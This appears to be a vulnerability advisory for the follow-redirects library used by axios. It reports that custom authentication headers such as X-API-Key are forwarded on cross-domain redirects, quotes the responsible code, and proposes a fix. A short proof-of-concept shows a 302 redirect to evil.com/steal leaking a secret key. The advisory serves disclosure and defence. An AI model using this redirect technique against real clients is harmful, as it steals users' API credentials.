When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
headers: { 'X-API-Key': 'sk-live-secret123' }302 Location: https://evil.com/stealX-API-Key: sk-live-secret123 to evil.comAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Source code review, manually verified. Found 2026-03-20.
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
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